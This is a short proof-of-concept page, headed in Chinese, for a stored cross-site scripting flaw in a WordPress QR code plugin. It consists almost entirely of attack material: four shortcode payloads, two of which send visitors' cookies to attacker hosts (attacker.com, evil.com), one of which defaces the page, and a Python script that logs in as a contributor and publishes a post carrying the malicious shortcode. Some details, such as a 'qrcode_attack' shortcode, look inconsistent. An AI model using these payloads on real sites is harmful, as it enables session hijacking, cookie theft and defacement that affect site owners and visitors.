CVE-2025-14626 WordPress QR Code插件存储型XSS漏洞

// CVE-2025-14626 Stored XSS PoC // Affected Plugin: QR Code for WooCommerce (versions <= 1.9.42) // Attack Vector: Shortcode attribute injection // Method 1: Basic XSS via shortcode attribute [qrcode code='" onerror="alert("XSS")"' alt='test'] // Method 2: Cookie stealing payload [qrcode code='" onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)" data-x="' width='100'] // Method 3: Session hijacking payload [qrcode_attack code='" onload="fetch(\'https://evil.com/log?data=\'+btoa(document.cookie))"' height='100'] // Method 4: Defacement payload [qrcode code='" onerror="document.body.innerHTML=\'<h1>Hacked</h1>\'" style='"' link='http://example.com'] // Notes: // - Requires contributor-level or higher WordPress account // - Payload persists in database (stored XSS) // - Executes when page is viewed by any user // - Can be injected via post content, page content, or widget areas // Python script to verify vulnerability import requests target_url = "http://target-wordpress-site.com/" login_url = target_url + "wp-login.php" post_url = target_url + "wp-json/wp/v2/posts" session = requests.Session() # Login with contributor account login_data = { "log": "attacker_username", "pwd": "attacker_password" } session.post(login_url, data=login_data) # Create post with malicious shortcode malicious_post = { "title": "QR Code Test", "content": "[qrcode code='\" onerror=\"alert(document.cookie)\"' alt='test']", "status": "publish" } response = session.post(post_url, json=malicious_post) print(f"Post created with ID: {response.json().get('id')}")